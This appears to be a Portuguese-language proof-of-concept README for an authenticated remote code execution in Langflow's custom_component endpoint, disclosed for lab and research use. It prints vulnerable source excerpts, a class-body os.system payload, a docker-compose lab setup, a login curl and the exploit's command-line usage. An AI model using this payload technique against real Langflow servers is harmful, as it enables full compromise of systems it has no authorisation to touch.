
PoC para CVE-2026-17633 — RCE autenticado no IBM Langflow OSS 1.0.0–1.10.3 através do endpoint custom_component. Inclui pesquisa de bypass do scanner AST do CVE-2026-17632.
Apenas para fins educacionais. Use somente contra sistemas que você possui ou tem autorização escrita explícita para testar.
Langflow é uma plataforma open-source low-code para construir aplicações com LLM e fluxos de trabalho de agentes de IA. Ela fornece uma interface visual de arrastar e soltar onde os usuários podem conectar componentes — modelos, retrievers, ferramentas, memória, código Python personalizado — em fluxos executáveis. Seu recurso de Componente Personalizado permite que os usuários definam o comportamento do componente diretamente em Python, que é a superfície de ataque explorada nesta pesquisa.
Em 5 de agosto de 2026, a IBM publicou um Boletim de Segurança divulgando um lote de vulnerabilidades que afetam as versões 1.0.0 a 1.10.3 do Langflow OSS. O boletim completo está disponível em:
Esta pesquisa foca em dois CVEs desse lote:
| CVE | CVSS | Resumo |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | RCE autenticado via /api/v1/custom_component — código passado diretamente para exec() sem verificação de segurança |
| CVE-2026-17632 | 8.8 HIGH | Bypass do scanner de segurança AST — código Python elaborado passa por scan_code_security() com is_safe: True enquanto executa comandos arbitrários do sistema operacional |
Ambos os CVEs foram descobertos independentemente por meio de análise estática do código-fonte do Langflow 1.10.3.
Esta pesquisa foi conduzida em um ambiente de laboratório isolado contra uma instância auto-hospedada do Langflow. Todas as descobertas são divulgadas de forma responsável. Não use isso contra sistemas sem autorização escrita explícita.
O endpoint POST /api/v1/custom_component no Langflow OSS 1.0.0–1.10.3 aceita código Python arbitrário de um usuário autenticado e o executa no lado do servidor por meio da função exec() do Python. Diferentemente do caminho do Agentic Assistant, este endpoint não chama scan_code_security() nem qualquer outro validador de conteúdo baseado em AST antes da execução. Qualquer usuário autenticado pode obter Execução Remota de Código com uma única requisição HTTP.
CWE-94 — Controle Impróprio da Geração de Código
/api/v1/custom_componentFonte: langflow/api/v1/endpoints.py — linha 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Quando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (comum em implantações de produção), o código vai diretamente para build_custom_component_template() com zero inspeção de conteúdo.
prepare_global_scope() e ast.ExprA cadeia de execução leva a create_class() em lfx/custom/validate.py, que chama prepare_global_scope() antes de compilar e executar a classe:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Uma chamada de função simples no nível do módulo (por exemplo, os.system(...)) é um nó ast.Expr — ele não é correspondido pela verificação isinstance e é silenciosamente descartado. No entanto, o código colocado dentro do corpo da classe faz parte do nó ClassDef e é executado integralmente quando a classe é definida via exec() dentro de compile_class_code().
Esta é a percepção-chave: o payload deve estar dentro do corpo da classe, não no nível do módulo.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Nenhum LLM necessário. Nenhum bypass de scanner necessário. Uma única requisição HTTP.
| Requisito | Valor |
|---|---|
| SO hospedeiro | Kali Linux (testado) |
| Docker | CE 5.x + plugin Compose v2 |
| Imagem do Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 GB mínimo para o contêiner |
Crie um diretório para o laboratório e salve o seguinte como docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Inicie o laboratório:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Faça login em http://127.0.0.1:7860 com as credenciais de superusuário definidas acima. O token de acesso é armazenado no cookie do navegador access_token_lf. Alternativamente, recupere-o via API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copie o valor de access_token da resposta.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]